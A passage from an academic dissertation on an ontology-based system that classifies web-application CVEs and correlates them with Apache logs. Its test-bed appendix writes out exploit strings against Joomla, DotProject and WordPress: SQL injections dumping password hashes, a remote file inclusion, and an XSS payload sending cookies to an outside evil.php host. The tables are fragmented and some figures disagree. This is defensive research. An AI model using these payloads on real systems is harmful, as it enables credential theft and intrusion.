to capture the essence of the issue resolution system for cyber attack management.
Organization
A small IT organization is looking to strengthen its operation relative to security
events and investments. Currently, they have a booking application that monitors vendor
related scheduling of various tasks. In addition, the booking application has an exterior
facing form to the public, which is occasionally prone to a cyber attack. This application
has proved successful in capturing vendor specific information and utilized by the human
resources department to keep track of vendor expenditures. The booking application has a
yearly budget of $100,000, but recent attempts to compromise the application, as well as
others, has given the system administration team motive for more investment in security
to management. Management has agreed to access the security concerns, if the system
administration team can provide a composite view of the current state of monitored web
applications. The system administration team decides to test the AVOIDIT IRS within
the organization. Next is a step-by-step approach into allowing the AVOIDIT IRS to
monitor a particular web application (this scenario is partially depicted in section 4.2.3):
1. User enters system related information into AIRS as described by the AIRS
Ontology. Figure 27 highlights this scenario.
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Figure 27: AVOIDIT IRS Monitored System Input

2. AIRS partitions its stakeholders into primary and secondary stakeholders to
the application being monitored for notification. AIRS begins to search for
known vulnerabilities from the external repository within AIRS. Once
identified external vulnerabilities associated with the monitored application an
alert is generated via the ‘Open Tickets’ section of the dashboard. Figure 19
captures the essence of open, resolved, and closed tickets. Open tickets are
opened upon an identified instance, whereas tickets recently remediated or
mitigated are placed in a resolved status, finally tickets verified by the
administrator are assigned a closed status.
3. AIRS created an organizational committee of stakeholders. It notifies the
responsible parties of the potential vulnerabilities that may be of immediate
attention. Figure 28 depicts the notification once system information has been
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inserted. The network administrator sets the Average Severity of the system
that will be used to compute whether to defend or not to defend relative to a
particular known vulnerability.

Figure 28: AVOIDIT IRS Notification

4. The responsible party, depending on role (for respective view purposes),
becomes privy to vulnerabilities and the potential attack path associated with
the inserted system. Figure 29 highlights a user’s view of an attack path.

100

Figure 29: AVOIDIT IRS Tree Structure

5. Once the system administrator sets the path to the log file within the
AVOIDIT IRS, it can begin to correlate known vulnerabilities with log
instances. This log file is used to simulate web log monitoring. Figure 30
highlights loading the log file.

Figure 30: AVOIDIT IRS Apache File Upload
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6. Immediately after loading the log file into AIRS the log instances are captured
for notification to the administrator. Figure 31 illustrates the log file instances
loaded into AIRS.

Figure 31: AVOIDIT IRS Log Instances

7. Once the known vulnerabilities have been classified and log instances loaded
into the system, AIRS provides correlation notification of external
vulnerabilities and internal attack instances within the CVEs captured in
AIRS. Further, AIRS computes probability of child nodes of identified attack
trees. Using the method described in section 3.7, figure 32 highlights the
probability of an attacker using known vulnerabilities to reach the child nodes
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of the identified attack tree to launch a successful attack. The child nodes do
not necessarily mean an attack was successful, rather they represent the
associated path to launching an attack.

Figure 32: AVOIDIT IRS - Admin Probability Tree View

The proposed approach assists with facilitating communication of security related
events, wherein AIRS implicitly educates stakeholders on the importance of cyber
security investment. In addition, AIRS illustrates how an organization can quantitatively
view metrics associated to the complexities of the applications monitored. Management
can directly view the return on investment applied to security for policy improvement and
control.
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5.5

Results
In this section, we provide the results of the selenium example provided in section 5.3

associated to the classification accuracy and correlation of log files with CVEs.
The CVE descriptions were mapped to AVOIDIT using the keywords provided in
Appendix C and results show high recall and precision rates. In the CVE portion of the
experiment, I utilized 1,025 CVEs to capture AIRS’s capability of classifying
vulnerability information. AIRS successfully retrieved 443 specific CVEs associated to
Wordpress, 534 related to Joomla!, and 8 related to dotProject (total of 985 out of 1025).
Relative to WordPress 414, were correctly classified; Joomla!, 492 were correctly
classified; and dotProject, 6 were correctly classified. All were classified using the
knowledge levied by security experts. Recall and Precision is used as highlighted in
section 3.5 from testing the classification algorithm, as well as F-Measure to compute the
weighted measure of precision and recall.
Precision =

Total correctly classified
Total extracted

(1)

Recall =

Total correctly classified
Total possible to be correctly extracted

(2)

F-Measure = 2RP / P + R

(3)

AIRS successfully achieved a recall/true positive rate of eighty-eight percent. Recall
was calculated as 912 correctly classified CVEs divided by 1,025 of the potential
extracted CVEs (912/1025 = 89%). Precision was calculated as 912 correctly classified
CVEs divided by 985 total number extracted CVEs (912/985 = 93%). The F-Measure
was also calculated using 2 x (precision x recall) / precision + recall for 90% accuracy.
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This is reflective of a system providing the administrator pertinent information associated
to the systems of interest. The high classification accuracy can be attributed to the
specific applications tested having a high concentration on SQL Injection attacks and
Cross-Site Scripting vulnerabilities that allowed classification consistency. Table 10
provides the precision, recall, and f-measure calculation results for WordPress, Joomla,
and dotProject.

Table 10. Precision, Recall, and F-Measure

Recall
.83
.86
.13
.89

Wordpress
Joomla!
dotProject
Total

Precision
.93
.92
.75
.925

F-measure
.88
.89
.22
.90

Once I achieved an acceptable level of accuracy relative to classifying CVEs, the
CVE correlation was applied to the log files. The Pearson’s correlation metric is used to
measure the similarity between instances, measured by the following:
Pearson’s Correlation = 1 – r
Where,

r

=

(4)

𝑍(𝑥)  ×  𝑍(𝑦) 𝑛

(5)

Table 11 highlights the CVEs that were used to test AIRS and its ability to capture
log instances associated to CVEs.

Table 11. CVE Log Correlation

CVE Severity
CVE-2007-4184 (Base
Score 7.5)
CVE-2006-4234 (Base
Score 7.5)

# of Log instances found
10
1
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Table 11. CVE Log Correlation (Continued)

CVE Severity
CVE-2008-3886 (Base
Score 4.3)
CVE-2006-6808 (Base
Score 6.8)
CVE-2006-2667 (Base
Score 7.5)
Pearson’s Correlation

# of Log instances found
0
6
9
.64

Figure 33 highlights the scatter chart of Table 11, which provides information
regarding the correlation CVEs to log files. The number of log instances identified by the
IRS was used as the X axis and the base score of the CVE was used as the Y axis.
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Figure 33: CVE Log Correlation Scatter Chart

Correlating the CVEs with log file entries produced a correlation accuracy of 64%
using the Pearson’s correlation highlighted in Table 11. This low correlation accuracy
was mainly due to CVE-2006-4234, being ‘High’ in severity, only having one log entry
associated in the entire log file. If CVE-2006-4234 contained more log instances, this
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event would have produced an increase in correlation. Additionally, CVE-2006-2667 was
not fully operable in the Selenium test cases (see Appendix E for details), but I choose to
provide the information contained in the CVE within the log files to produce a
meaningful example of how the attack could occur. The algorithm was able to capture the
sequence of related log instances, but unable to capture the sequence of associated CVEs
as it appears the CVEs are directly targeted. Figure 34 depicts CVE-2006-6808 having 6
correlated log instances.

Figure 34: AVOIDIT IRS CVE Log Correlation

AIRS assists the defender visually to ascertain the probability of an attack taking
place using a Boolean condition if an attack was attempted in the log file via a known
vulnerability. The value is set to 1 if the vulnerability has been attempted and captured in
the log file and 0 if the vulnerability has not been attempted. Using the exponential
distribution, we provide the probability of a CVE being used to launch an attack. This
provides the defender with an incentive to ensure the initial parent node is secure from
any child nodes being activated.
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Further, the ID3 algorithm was incorporated for classifying each portion of the CVE
upon input to AIRS. A modified version of the JavaScript implementation of the ID3
algorithm was specifically used with the Google organizational charts to provide the user
a representation of whether to defend or not to defend and to be cognizant of the
components thereof. We provided the test input as described in Appendix D. Figure 35
highlights the decision tree for analysis.

Figure 35: ID3 Defend or Not Defend Decision Tree

Figure 36 below displays the accuracy of the decision tree that is captured for
analysis. The actual and predicted value is ‘Defend’, which exhibits a correct
classification of CVE-2008-2701 for the defender to view.
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Figure 36: ID3 Defend or Not Defend Decision Tree Prediction Accuracy

The AVOIDIT IRS was also able to intuitively retrieve game models that were
assigned to certain attack vectors. As the CVEs were classified and correlated with log
instances, a game model that closely matched the sequences of an attacker was selected.
Figure 37 presents an example of game models used within AIRS. The decision was
made to continue the game model selection as future work.
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Figure 37: AVOIDIT IRS Game Model Screen

This chapter provided the source data, training data, and an organizational example to
depict the use of AIRS. The use of the ID3 algorithm enabled the defender to visualize
the scenarios of whether to defend a particular monitored application. AVOIDIT IRS was
used as a knowledge auditing tool to capture and disseminate attack vector information
throughout the entire organization. The goal is to create an organization that is resilient to
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attacks in all functional areas. AIRS will enable attack data to flow more accurately
within an organization.
The tools of which I attempted evaluation were AMNESIA and PANACEA. The
AMNESIA project posed difficulty with the installation and execution prescribed,
therefore I was unable to get this project up and running for comparison. Numerous
communication attempts to work with the authors resulted in the testAMNESIA script
producing zero detected attacks against the vulnerable sites within its project. The
PANACEA tool has been abandoned by the authors, which did not allow comparison.
Tools that were actually evaluated were STRANGER and CVE Checker. The
AVOIDIT IRS differs from the STRANGER tool in that it correlates the CVEs with log
instances and attempts to perform sequential graph for a defender to visualize the
probability of an attacker proceeding to a child node. The AVOIDIT IRS, although not a
dynamic analysis tool, would be considered a dynamic analysis tool in comparison to the
STRANGER tool. Potentially, the STRANGER tool can be incorporated into the
AVOIDIT IRS to provide developers a more in depth look into the code that they develop.
Wherein the CVE Checker tool being closely associated to the AVOIDIT IRS, as well,
only provides CVE notification to the defender of the potential software vulnerabilities
installed on the current system. The CVE Checker, open source and written in C, can be
utilized by the AVOIDIT IRS to speed the backend classification process of imported
CVEs.
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6.

CONCLUSIONS

In this dissertation, we developed an ontology based attack issue resolution system
that can provide probable attack information relative to monitored web applications to
improve attack discovery, classification, and defense dissemination. Our proposed
methodology utilizes an attack taxonomy as a repository schema within an ontology
based issue resolution system to facilitate communication regarding cyber attacks within
an organization. Knowledge engineering was used to elicit experiential knowledge via a
questionnaire interview to capture relevant concepts for effective cyber attack
communication. It is essential as cyber attacks continue to evolve that a knowledge
system matures in capturing significant attack data to improve organizational resiliency.
We developed an algorithm to extract 985 out of 1,025 external common
vulnerabilities and exposures (CVEs) related to monitored web applications in AIRS. We
demonstrated the AVOIDIT IRS being able to classify external CVEs with a recall of
88% and precision of 93%. We implemented an attack test bed to capture over 5,000
instances within log files. The attack test bed consisted of the Metasploit and the
UltimageLAMP project housing vulnerable Joomla, Wordpress, and dotProject web
applications. A correlation algorithm was developed to correlate the external CVEs with
internal log files to produce a correlation metric of 66%.
For visualization, AIRS was developed as an open source web tool written in PHP
with the Codeigniter framework. The exponential distribution was coded into AIRS to
provide the probability of a CVE being used in an identified attack tree to launch a
successful attack. An ID3 algorithm was incorporated for classifying each portion of the

CVE upon input to AIRS to produce a Google organizational chart to visually assist the
defender with determining whether to defend or not to defend. Moreover, a game model
selection component was implemented to capture the attacker and defender action space.
This work has presented research involving an ontology-based AIRS to improve
communication of attack information and defense reusability. AVOIDIT IRS will allow
ontology relationships for discovery by automated agents to increase confidence that a
pertinent application is at risk of being compromised for appropriate decision making.
AIRS can be used by security managers, project managers, developers, network
administrators, and support personnel. AVOIDIT IRS enables smaller organizations to
not only understand the exploit, but also the strategy needed to mitigate and/or remediate
auxiliary damages.
6.1

Limitations

Attacks are increasing in the cyber world, and being able to prevent all attacks is
extremely difficult. In this section we highlight two distinct limitations of the AVOIDIT
IRS. Other limitations are available for discussion, but the author chose to omit these
considering the below limitations have an immediate impact on the proposed taxonomy.
a. Taxonomy Defense Strategies and Physical Attack Limitation
The defense strategies in AVOIDIT present a defender with an appropriate starting
point to mitigate and/or remediate an attack. The plausible defenses are enormous, so the
proposed taxonomy provides a high level approach to cyber defense. Although AVOIDIT
is extensible, more research is needed to provide an exhaustive list of possible defense
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strategies for each attack vector exploited. This is accomplished using the AVOIDIT IRS
to track attack vectors and respective defenses.
Deterring physical attacks is an important aspect in sustaining security. While it is
necessary to understand physical attacks, the AVOIDIT IRS focuses on cyber attacks.
Further research can be done to include the physical aspect of cyber security, which may
include the end hosts of an attack. For example, cyber attacks that begin with use of a
USB drive are not present in the current state of the AVOIDIT Taxonomy, but can be
included in future endeavors.
b. Real-time Processing Limitation
Although we were able to classify numerous CVEs and correlate log instances
relative to monitored applications, AIRS is not a real time application. The
ApacheLogIterator feature was not an optimal scenario for processing extremely large
apache log files. However, this dissertation exhibited the effectiveness of correlating
pertinent external and internal application data. As conducted in [42] and [45] for attack
graph generation, a C++ engine is required to improve classification and correlation
processing speed and is considered future work.
6.2

Future Work
The target population of AVOIDIT IRS is small to medium sized organizations that

have a desire to correlate external and internal incidents. This dissertation found the
AVOIDIT IRS provided an accurate heuristic in retrieving monitored web application
public vulnerabilities and log instances using information extraction and decision tree
techniques.
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Future work will involve the continuous improvement of the AVOIDIT taxonomy
that captures cloud and mobile computing, as well as physical related attacks. Using an
updated AVOIDIT schema, we will further use the attack issue resolution system within a
Game Inspired Defense Architecture (GIDA) to investigate the applicability of the
AVOIDIT IRS classifying attack vector information to determine the action space of the
attacker. AIRS will determine the type of attack. GIDA will use the information to assess
candidate game models identified by AIRS to select the optimal game model for defense
[1D]. The game model identified, being the most relevant to the attack in question, will
be executed to yield a better overall payoff to the defender. Moreover, honeypot
technology will be used as input into the AVOIDIT IRS to facilitate attack/defender
action spaces and the classification of zero day exploits.
As a part of future work, an improved classification and correlation engine will be
developed in C++ for speed and real time data processing. An improved processing speed
will ensure AIRS’ usefulness to management, administrators, developers, and the like to
provide notifications of important events, as they are discovered.
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APPENDIX

A. Software Packages
A considerable amount of software was used in the construction of the AVOIDIT
Issue Resolution System. The current technologies that were used are described below.
Codeigniter
Codeigniter [74] is an award winning open source content management system used
to build web sites and web applications. In this dissertation, Codeigniter and the
Codeigniter PHP5 based framework were used in the construction of a knowledge base to
develop the AVOIDIT Issue Resolution System for cyber incident management. Other
tools were used in conjunction with Codeigniter, as plugins, to maximize the ease of
constructing the AVOIDIT IRS.
jQuery
jQuery [44] is a JavaScript based library used for efficient HTML document traversal
and manipulation, event handling, animation, and Ajax across a multitude of browsers.
With jQuery being small, fast, and possessing a feature-rich JavaScript library, it makes
it a good candidate for this research.
jOrgChart
jOrgChart [45] is a jQuery plugin capable of converting nested unordered lists into
tree-based menus using a functional organization chart output. It has the capacity to
support numerous depth for visualizing hierarchical data. jOrgChart is used in this
dissertation to construct the hierarchical nature of the attack path.
ApacheLogIterator

ApacheLogIterator [46] is a simple and efficient Apache log file parser, which
extends the SPLFileObject php class. Normally, SPLFileObject class is used to open a
file and read each line accordingly. The ApacheLogIterator uses this functionality to
simply read the raw data from the file into a structured array. The class below provides a
synopsis of the code used to capture items from the log file. This will be used to
instantiate incidents within AIRS and corresponding metrics.
ApacheLogFields Class
class ApacheLogFields {
/**
* @var string Regular expression to extract relevant data from an Apache log record.
*/
public $regex = '/^\w\w\w \d\d? \d\d:\d\d:\d\d\s(\S+)\s(\S+)\s(\d+\.\d+\.\d+\.\d+)\s-\s-\s\[([^\[]+)\]
"(\S+) (.*?) (\S+)\/\S+" (\d+) (\d+) "(.*?)" "(.*?)"\s*$/';
/**
* @var array Defines the index position of each field in the regex matches array. (
*/
public $fieldArray = array(
'originalLogEntry', //element zero is the full returned string.
'localServer',
'host',
'remoteIP',
'datetime',
'method',
'query',
'scheme',
'status',
'bytes',
'referrer',
'userAgent',
);
}
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C. Example Key Terms Mapping Used
Attack vector Terms
[W]
Insufficient
bypass,
Authentication
access,
prohibit,
grant, protect,
prevent,
hijack,
validate,
unserialize,
list, gain
Insufficient
inject, execute,
Validation
conduct
Incorrect
upload,
Permissions
document,
remove, store,
change,
traversal
Design Flaw
obtain,
gain,
unspecified,
unknown
Misconfiguration configure,
apply
Buffer Overflow cause
Race Condition
race
Informational
Impact
destruct
disclosure
disrupt
distort
discover
Operational

Terms
delete,
remove
obtain,
read,
reveals, gain,
access
denial, corrupt,
cause
inject, change,
conduct,
modify, reset
scan, read
Terms
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Impact
Misuse
Resources

of

User
Compromise
Root
Compromise

Directory
traversal,
upload, read,
unrestricted,
unspecified
user access

root,
admin,
administrative,
administration
Web
sql
injection,
Compromise
xss, redirect
Virus
virus
Trojan
trojan
Arbitrary
arbitrary code
Code
execution,
Execution
arbitrary, code
Mass Mailing spam
(W) (IM)
Denial
of denial
of
Service
service,
dos,
host, network,
distributed
Host DoS
host, denial of
service
Network DoS network denial
of
service,
network, dos
Distributed
DoS

Target
Operating
System (OS)
Linux (OS)
Windows (OS)
Network
Local

distributed,
denial
of
service, ddos

Terms
os, operating
system,
linux, ubuntu,
fedora
microsoft,
windows
network
local
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User
Application
Wordpress
(Application)
Joomla!
(Application)
dotProject
(Application)
Defense
Mitigation
Remove from
Network
(Mitigation)
Whitelist
(Mitigation)
Reference
Advisement
(Mitigation)
Remediation
Patch System

user
wordpress,
joomla!,
dotProject
wordpress
joomla
dotproject

Terms
network
denial
cve,

configure,
implementation
Correct Code xss,
sql
(Remediation)
injection, script,
vulnerability

D. CVE ID3 Algorithm Decision Tree Training Data

CVE #

AV

OI

D

I

T

Severity

CVE20102259
CVE20102464
CVE2010-

IP

MoR

Correct
Code

Distort

Joomla

High

Defend
?
(Y/N)
Y

XSS

Web
Compromis
e
Web
Compromis

Correct
Code

Distort

Joomla

Medium

N

Correct
Code

Distort

Joomla

Medium

N

XSS
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1764
CVE20094789
CVE20100694
CVE20100692
CVE20094651
CVE20094650
CVE20100676
CVE20100670
CVE20100635
CVE20100632
CVE20100610
CVE20100459
CVE20100456
CVE20100374
CVE20100373
CVE20100372

IP

e
ACE (IM)

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

Medium

N

Correct
Code

Distort

Joomla

High

Y

IP

Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
MoR

Correct
Code

Disclo
se

Joomla

Medium

N

DF

MoR

Correct
Code

Disclo
se

Joomla

Medium

Y

SQL
I

Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

Medium

N

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

SQL
I
SQL
I
XSS
SQL
I

SQL
I
SQL
I
SQL
I
SQL
I
XSS
SQL
I
SQL
I
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CVE20094628
CVE20094625
CVE20094620
CVE20084122
CVE20085671
CVE20085643
CVE20085607
CVE20085494
CVE20085208
CVE20085200
CVE20085671
CVE20085051
CVE20084777
CVE20084764
CVE20084715
CVE-

SQL
I
SQL
I
SQL
I
BA
(IA)
IP
SQL
I
SQL
I
SQL
I
SQL
I
SQL
I
IP
SQL
I
SQL
I
IP
SQL
I
IP

Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
ACE (IM)

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Patch
System

Disclo
se

Joomla

Medium

N

Correct
Code

Distort

Joomla

High

Y

Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
ACE (IM)

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Web
Compromis
e
Web
Compromis
e
ACE (IM)

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Disclo
se

Joomla

Medium

N

Web
Compromis
e
MoR

Correct
Code

Distort

Joomla

High

Y

Correct

Distort

Joomla

High

Y
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20084688
CVE20084623
CVE20084617
CVE20084107
CVE20084105
CVE20084104
CVE20084103
CVE20084102
CVE20083681
CVE20083586
CVE20083298
CVE20083265
CVE20083225
CVE20083226
CVE20083227
CVE2008-

Code
SQL
I

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

DF

Web
Compromis
e
Web
Compromis
e
MoR

Patch
System

Distort

Joomla

Medium

Y

DF

MoR

Patch
System

Distort

Joomla

Medium

Y

UR
(IA)

Web
Compromis
e
MMW (IM)

Correct
Code

Distort

Joomla

Medium

Y

Patch
System

Distort

Joomla

Medium

N

Patch
System

Distort

Joomla

High

Y

Patch
System

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

Medium

N

IA

Web
Compromis
e
Root
Compromis
e
Web
Compromis
e
Web
Compromis
e
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Compromis
e
MoR

Patch
System

Disclo
se

Joomla

High

Y

IA

MoR

Patch
System

Disclo
se

Joomla

Medium

N

UR
(IA)

Web
Compromis
e
MoR

Patch
System

Disclo
se

Joomla

High

Y

Patch
System
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se

Joomla

High

Y

SQL
I

UR
(IA)
DF
BA
(IA)
SQL
I
SQL
I
SQL
I

M
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SQL
I
SQL
I
IP
SQL
I
SQL
I
SQL
I
SQL
I
SQL
I
SQL
I
SQL
I
SQL
I
SQL
I
BA
(IA)
BA
(IA)
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Web
Compromis
e
Web
Compromis
e
ACE (IM)

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
User
Compromis
e

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

Medium

N

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Distort

Joomla

High

Y

Correct
Code

Disclo
se

Joomla

Low

N

Web
Compromis
e
Web
Compromis

Patch
System

Destru
ct

Wordpress

High

Y

Correct
Code

Distort Wordpress

High

Y
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CVE20123577
CVE20124264
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CVE20124271
CVE20123855
CVE20123384
CVE20104825
CVE20113130
CVE20113129
CVE20113128
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CVE20113125

IP

e
MoR

IP

Correct
Code

Distort Wordpress

Medium

N

ACE (IM)

Correct
Code

Distort Wordpress

Medium

N

IP

ACE (IM)

Correct
Code

Distort Wordpress

High

Y

XSS

Correct
Code

Distort Wordpress

Medium

N

Correct
Code

Distort Wordpress

Medium

N

Correct
Code

Distort Wordpress

Medium

N

Correct
Code

Disclo
se

Wordpress

Medium

N

Correct
Code

Distort Wordpress

Medium

Y

Correct
Code

Distort Wordpress

Medium

N

Correct
Code

Distort Wordpress

High

Y

DF

Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
Web
Compromis
e
MoR

Patch
System

Distort Wordpress

High

Y

DF

MoR

Patch
System

Disclo
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Wordpress

Medium

Y

UR
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Web
Compromis
e
Web
Compromis
e
Web
Compromis
e

Patch
System

Distort Wordpress

Medium

N

Patch
System

Distort Wordpress

Medium

N

Patch
System

Distort Wordpress

High

Y

XSS
XSS
DF
CSR
F
XSS
SQL
I

UR
(IA)
DF
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DF
IP

Web
Compromis
e
MoR

Patch
System

Distort Wordpress
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Y
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Distort Wordpress
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N
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ACE (IM)

Patch
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Distort Wordpress
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Y

XSS
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Distort Wordpress
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N

Correct
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N
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Distort Wordpress

High

Y
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e
Web
Compromis
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Web
Compromis
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Web
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Distort Wordpress
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N

Correct
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Distort Wordpress
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N

Correct
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Distort Wordpress

High

Y

Correct
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Distort Wordpress
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N

Correct
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Distort Wordpress
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Y

Patch
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Distort Wordpress

Medium

N

Patch
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Wordpress

Medium

N

Patch
System

Distort Wordpress
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N
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Wordpress

High

Y
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Distort Wordpress
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Y
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IP
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Code
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E. Automation Attack Test Bed
Here we will cover a bit of what each of these test cases do and how they are organized.
Quite a bit of effort went into making these well behaved, but real-world issues.
However, someone will certainly discover new and creative ways to break them. Please
refer to this section, then the test steps themselves when troubleshooting automated test
problems.

There are three sub-sets of test cases. One group deals with Joomla, one with DotProject,
and one with Wordpress. Although test runs always start at the beginning of the list, you
may want to split testing off into separate test suites for your own purposes at a later time.

Generally, the first rule of each set creates a test user to be used throughout the
application's test cases. The last one aims to clean up any artifacts, including the test user,
and restore the system to a 'clean' state. In between are several typical transactions and a
few exploits.
1 to 15 with Joomla
16 to 27 with DotProject
28 to 36 with Wordpress
01 Joomla - Create User – Success
Log in to Joomla as Admin
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Create a new user called "Selenium"
Save and logout
02 Joomla - Create User - Failure
Log in as Admin
Attempt to create an invalid user
Error out (duplicate username)
Give up and logout
03 Joomla - User Post Web Link- Success
Log in as new test user
Post a new web link
Logout
04 Joomla - User Post Web Link – Failure
Log in as new test user
Post duplicate link
Error out
Give up and logout
05 Joomla - Create Banner – Success
Log in as Admin
Create a new banner
Save and logout
06 Joomla - Create Banner - Failure
Log in as Admin
Create banner using invalid parameters
Give up and logout
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07 Joomla - Guest Vote - Success
No user login
Submit a vote (Note: Server-side time constraint prohibits multiple votes)
08 Joomla - Guest Vote – Failure
No user login
Submit vote without selecting any option
09 Joomla - Guest News Browsing - Success
No user login
Browse a few valid news pages
10 Joomla - Guest News Browsing - Failure
No user login
Browse invalid news page
11 Joomla Gest Contact Us – Success
No user login
Submit message via "Contact Us" page
12 Joomla Guest Contact Us - Failure
No user login
Submit incomplete message via "Contact Us" page
13 Joomla SQL Injection 1
Log in as Admin
Open polllwindow.php with SQL Injection querying the Database version
Exploit URL: /joomla/administrator/popups/pollwindow.php?pollid=1 union select
version()/*
Note:
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This uses the SQL "Union" statement to append a new query's result to the initial poll id
query.
14 Joomla SQL Injection 2
Log in as Admin
Open polllwindow.php with SQL Injection to dump database users and password hashes
Exploit URL: /joomla/administrator/popups/pollwindow.php?pollid=1 union select
concat(username,0x3a,password) from jos_users/*
Note:
This uses the SQL "Union" statement to append a new query's result to the initial poll id
query.
15 Joomla - Admin Clean Up
Remove test user
Remove web link
Remove banner
Save and logout
16 DotProject - Admin Add user - Success
Log in as Admin user
Create a new test user named Selenium
Set permissions and roles for new user
Save and logout
17 DotProject - Admin Login - Failure
Attempt to login as Admin, using invalid passwords
18 DotProject - Test User Prep Project - Success
Log in as test user
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Create a test Company
Create a test Project
Save and logout
19 DotProject - Test User Prep Project - Failure
Log in as test user
Attempt to create company using invalid options
Attempt to create test project using incomplete options
Logout
20 DotProject - Test User New Task - Success
Log in as test user
Create new task for test project
Save and logout
21 DotProject - Test User New Task - Failure
Log in as test user
Attempt to create task using invalid parameters
Create task using meaningless data
Delete new task
Save and logout
22 DotProject - Test User Manage Tickets - Success
Log in as test user
Create a ticket using ticket manager system
Save and logout
23 DotProject - Test User Manage Tickets - Failure
Log in as test user
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Attempt to create ticket using incomplete parameters
Create ticket using meaningless data
Delete new ticket
Save and logout
24 DotProject Remote File Inclusion Attempt
Open the default DotProject page, logging out any current user
Open the DotProject db_connect page specifying a remote website to include
Exploit URL:
t.php?baseDir=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%
38%38%2e%31%33%38%3a%38%30%38%31%2f%70%52%42%30%32%58%30%45
%65%49%3f
25 DotProject SQL Injection 1
Login as test user
Open the ticket search page
Enter the following exploit in the search field input field.
Exploit text: all' union select version(), version(), 'n', 'n', 'n'/*
Note: The data entered in this field gets passed to the back end database without being
sanitized!
26 DotProject SQL Injection 2
Login as test user
Open the ticket search page
Enter the following exploit in the search field input field.
Exploit text: all' union select 'n', user_username, user_password, 'n', 'n' from users/*
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Note: The data entered in this field gets passed to the back end database without being
sanitized!
27 DotProject Admin Cleanup
Login as admin
Delete the test Project
Delete the test Company
Delete the test user
Delete the test tickets
Save and logout
28 Wordpress - Admin Create Test User - Success
Login as admin
Create a test user named Selenium
Save and sign out
29 Wordpress - Admin Create Test User - Failure
Login as admin
Create a test user using invalid parameters
Save and sign out
30 Wordpress - Test User Comment - Success
Log in as test user
View the "Hello World!" post
Add a comment
Confirm the comment
Logout
31 Wordpress - Test User Comment - Failure
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Log in as test user
View the "Hello World!" post
Attempt to add a duplicate comment
Fail and give up
Logout
32 Wordpress - Admin Clear Comment - Success
Log in as admin
Navigate to comment management page
Delete new pending comment
Save and logout
33 Wordpress - Test User Permissions - Failure
Log in as test user
Attempt to navigate to admin file manager page
Fail and give up
Logout
34 Wordpress Cross Site Script (XSS)
Log in as admin
Navigate to main blog page
Open the evil exploit link (below)
Return to the main blog page
Logout
Exploit: http://192.168.0.2/wordpress/wp-admin/templates.php?file=<img src=%27%27
onerror="javascript: var s=(document.location.toString().charAt(6)); var
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url=(%27http:%27%2Bs%2Bs%2B%27192.168.188.138:81%27);
document.location=url%2Bs%2B%27evil.php?%27%2Bdocument.cookie">
35 Wordpress Command Injection (concept)
Note: This exploit is not fully functional through Selenium at the moment. We provided
log instances that would accomplish a near task.

Open "user profile update" page (HTML Referrer value is significant here)
Use Javascript to create new HTTP POST parameters including a line break
Submit to web server
Exploit (part 1)
<input type="text" name="display_name" value="selenium"%0d0aecho phpinfo();">
36 Wordpress Admin Clean Up
Log in as Admin
Navigate to the user management page
Delete the test user
Save and Logout
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